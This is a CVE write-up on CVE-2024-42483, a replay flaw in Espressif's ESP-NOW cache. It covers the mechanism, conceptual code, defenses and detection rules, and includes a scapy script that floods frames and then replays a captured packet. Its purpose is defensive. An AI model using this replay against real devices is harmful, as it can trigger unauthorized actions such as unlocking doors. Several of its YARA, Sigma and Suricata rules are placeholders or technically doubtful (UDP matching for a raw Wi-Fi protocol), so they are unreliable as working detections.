CVE-2024-42483

Executive Summary

CVE-2024-42483 is a replay vulnerability in the Espressif ESP-NOW component, a connectionless Wi-Fi communication protocol. The flaw arises because the ESP-NOW cache is a single, shared resource for all message types (broadcast, unicast, ciphertext, plaintext). An attacker can exploit this by clearing the cache of legitimate entries, allowing them to re-inject previously captured packets. This can lead to unauthorized actions or data manipulation in IoT devices using ESP-NOW. The vulnerability is fixed in version 2.5.2.

Supply Chain & Package Security

This vulnerability affects the ESP-NOW component, which is part of the Espressif IoT Development Framework (ESP-IDF). It is not a package manager (NPM, PyPI, Go, Ruby) issue, but rather a firmware-level component. Users should update their ESP-IDF to a version that includes ESP-NOW 2.5.2 or later.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
• Attack Vector: Network (AV:N) - The attack can be launched remotely over Wi-Fi.
• Attack Complexity: Low (AC:L) - No special conditions are required.
• Privileges Required: None (PR:N) - No authentication needed.
• User Interaction: None (UI:N) - No user action required.
• Scope: Unchanged (S:U) - The vulnerability does not affect other components.
• Confidentiality Impact: None (C:N) - No data exposure.
• Integrity Impact: High (I:H) - Attackers can inject malicious packets, altering device behavior.
• Availability Impact: None (A:N) - No denial of service.

Threat Level: Medium. While the CVSS score is 6.5, the integrity impact is high, meaning an attacker could control device actions (e.g., unlock a door, send false sensor data). The low EPSS score (0.0%) suggests limited exploitation in the wild, but the attack vector is network-based and easy to execute.

Deep Dive & Mechanics

The ESP-NOW protocol uses a cache to store received messages for processing. The vulnerability stems from the cache being a single, shared resource that does not differentiate between message types (broadcast vs. unicast, ciphertext vs. plaintext). This allows an attacker to:

1. Flood the cache: Send a large number of crafted packets to fill the cache, causing legitimate entries to be evicted.
2. Replay captured packets: Once the cache is cleared of legitimate entries, the attacker can re-inject previously captured packets (e.g., a "door unlock" command) that were originally valid. Since the cache no longer has the original entry, the replayed packet is accepted as new.

The attack does not require decryption; it only exploits the cache management logic. The fix in version 2.5.2 separates the cache into different pools based on message type, preventing cross-type cache poisoning.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Single cache for all messages
typedef struct {
    uint8_t src_mac[6];
    uint8_t msg_type;
    uint8_t payload[256];
} esp_now_cache_entry_t;

esp_now_cache_entry_t cache[10]; // Shared cache

bool esp_now_cache_lookup(uint8_t *src_mac, uint8_t *payload) {
    for (int i = 0; i < 10; i++) {
        if (memcmp(cache[i].src_mac, src_mac, 6) == 0 &&
            memcmp(cache[i].payload, payload, 256) == 0) {
            return true; // Found, reject as duplicate
        }
    }
    return false; // Not found, accept
}

Patched Code (Conceptual):

// Separate caches for each message type
typedef enum {
    CACHE_TYPE_BROADCAST_PLAIN,
    CACHE_TYPE_BROADCAST_CIPHER,
    CACHE_TYPE_UNICAST_PLAIN,
    CACHE_TYPE_UNICAST_CIPHER
} cache_type_t;

esp_now_cache_entry_t cache_broadcast_plain[10];
esp_now_cache_entry_t cache_broadcast_cipher[10];
esp_now_cache_entry_t cache_unicast_plain[10];
esp_now_cache_entry_t cache_unicast_cipher[10];

bool esp_now_cache_lookup(uint8_t *src_mac, uint8_t *payload, cache_type_t type) {
    esp_now_cache_entry_t *cache = get_cache_by_type(type);
    for (int i = 0; i < 10; i++) {
        if (memcmp(cache[i].src_mac, src_mac, 6) == 0 &&
            memcmp(cache[i].payload, payload, 256) == 0) {
            return true;
        }
    }
    return false;
}

The patched version uses separate caches for each message type, preventing an attacker from clearing one type's cache with another type's packets.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Two ESP32 devices (one victim, one attacker) with ESP-NOW enabled.
• A Wi-Fi adapter capable of monitor mode (e.g., ESP32 in promiscuous mode or a laptop with a compatible Wi-Fi card).
• Python with scapy for packet crafting.

Steps:

1. Capture legitimate packets: Use a Wi-Fi sniffer to capture ESP-NOW packets between the victim devices.
2. Flood the cache: Send a burst of crafted ESP-NOW packets (e.g., random payloads) to the victim device to fill its cache.
3. Replay captured packets: After a short delay, replay the previously captured legitimate packets. The victim will accept them as new.

Example Python script (using scapy):

from scapy.all import *
import time

# Assume we have captured a legitimate packet in 'legit_packet'
# Craft a flood of dummy packets
dummy_packet = RadioTap() / Dot11(type=0, subtype=8, addr1="ff:ff:ff:ff:ff:ff", addr2="00:11:22:33:44:55", addr3="00:11:22:33:44:55") / LLC() / SNAP() / Raw(load=b"\x00"*100)

# Send 1000 dummy packets to flood cache
for _ in range(1000):
    sendp(dummy_packet, iface="wlan0mon", verbose=0)

# Wait for cache to clear
time.sleep(0.1)

# Replay the legitimate packet
sendp(legit_packet, iface="wlan0mon", verbose=0)

Blue Team (Defense & Detection)

Defensive Measures:

• Update firmware: Upgrade to ESP-NOW 2.5.2 or later.
• Implement nonce/sequence numbers: Add a monotonically increasing sequence number to each packet and reject duplicates.
• Rate limiting: Limit the number of packets accepted per second from a single source.
• Encryption: Use encrypted ESP-NOW to make replay harder (though the cache issue still exists).

Detection:

• Monitor for a high volume of ESP-NOW packets from a single source (cache flooding).
• Detect replayed packets by checking for identical payloads within a short time window.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Multiple ESP-NOW packets with identical payloads replayed within a short time.
  • High rate of ESP-NOW packets from a single MAC address (e.g., >100 packets/second).
  • ESP-NOW packets with unusual payload sizes or patterns (e.g., all zeros).

• Host IOCs (on ESP32):

  • Unexpected device behavior (e.g., door unlocking without command, sensor data anomalies).
  • Logs showing repeated acceptance of the same packet (if logging is enabled).

Detection Engineering

YARA Rule

rule CVE_2024_42483_ESP_NOW_Replay {
    meta:
        description = "Detects ESP-NOW replay attack patterns in packet captures"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-42483"
    strings:
        $esp_now_header = { 18 00 00 00 } // Example ESP-NOW header bytes
        $replay_pattern = { (00 11 22 33 44 55) } // Example MAC address
    condition:
        $esp_now_header and #replay_pattern > 5
}

Sigma Rule

title: ESP-NOW Replay Attack Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential ESP-NOW replay attacks by monitoring for duplicate packets
logsource:
    category: network
    product: wifi
detection:
    selection:
        protocol: "ESP-NOW"
        payload|re: "^(?:[\\x00-\\xff]{10,})$" # Repeated payloads
    condition: selection | count() by src_ip > 10 within 1s
falsepositives:
    - Legitimate retransmissions
level: medium

Suricata Rule

alert udp any any -> any any (msg:"CVE-2024-42483 ESP-NOW Replay Attack"; content:"|18 00 00 00|"; depth:4; threshold: type both, track by_src, count 10, seconds 1; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update ESP-NOW: Upgrade to version 2.5.2 or later. This is the only complete fix.
2. Apply workaround: If updating is not possible, implement application-level sequence numbers or nonces to detect replays.
3. Network segmentation: Isolate ESP-NOW devices on a separate VLAN to limit attack surface.

Long-term Measures:

• Code review: Ensure all cache implementations differentiate by message type.
• Penetration testing: Test for replay vulnerabilities in IoT protocols.
• Monitor advisories: Subscribe to Espressif security advisories.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert